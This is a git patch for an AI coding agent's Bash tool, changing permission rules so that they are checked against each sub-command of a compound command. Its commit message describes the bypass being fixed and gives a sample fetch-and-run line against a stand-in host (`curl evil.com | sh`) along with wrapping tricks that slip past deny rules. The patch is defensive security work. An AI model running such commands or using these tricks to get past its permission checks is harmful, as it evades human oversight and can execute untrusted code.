From 65c34e3bcabab22db3ef68caac95bb851ba3cafe Mon Sep 17 00:00:00 2001 From: Slight_wind <758494478@qq.com> Date: Sun, 9 Aug 2026 16:38:15 +0800 Subject: [PATCH 1/2] fix(agent-core-v2): evaluate Bash permission rules per sub-command Bash permission rules matched the whole command string as one glob subject, so a compound command rode a single sub-command's allow rule: `Bash(git *)` would auto-approve `git log && curl evil.com | sh`, and a prefix-anchored deny rule was bypassed by wrapping the command (`(rm x)`, `x=1; rm x`). Decompose the command through the bundled tree-sitter-bash parser and match per sub-command, branching on the rule decision: allow auto-matches only when every sub-command matches (or the pattern is the escaped literal of the whole command, the session-approval shape); deny/ask match when the whole command or any sub-command matches. Quoted operators and heredoc bodies stay data. A command that cannot be parsed (budget exhaustion / syntax error) fails closed for allow instead of falling back to whole-string globbing. The tool-execution `matchesRule` closure gains an optional decision context; existing glob/path subject matchers are unaffected. --- .../bash-subcommand-rule-decomposition.md | 5 + .../src/agent/permissionRules/matchesRule.ts | 2 +- .../src/agent/tools/os/bash/bashTool.ts | 11 +- .../src/agent/tools/os/bash/commandParts.ts | 108 ++++++++++++ .../agent-core-v2/src/tool/toolContract.ts | 8 +- .../agent/permissionRules/matchesRule.test.ts | 163 ++++++++++++++++++ .../os/backends/node-local/tools/bash.test.ts | 5 +- 7 files changed, 297 insertions(+), 5 deletions(-) create mode 100644 .changeset/bash-subcommand-rule-decomposition.md create mode 100644 packages/agent-core-v2/src/agent/tools/os/bash/commandParts.ts diff --git a/.changeset/bash-subcommand-rule-decomposition.md b/.changeset/bash-subcommand-rule-decomposition.md new file mode 100644 index 0000000000..9bf055c831 --- /dev/null +++ b/.changeset/bash-subcommand-rule-decomposition.md @@ -0,0 +1,5 @@ +--- +"@moonshot-ai/kimi-code": patch +--- + +Evaluate Bash permission rules per sub-command: an allow rule now auto-approves a compound command (`&&`, `;`, `|`, command substitution, …) only when every sub-command matches it, and deny/ask rules match when any sub-command does.
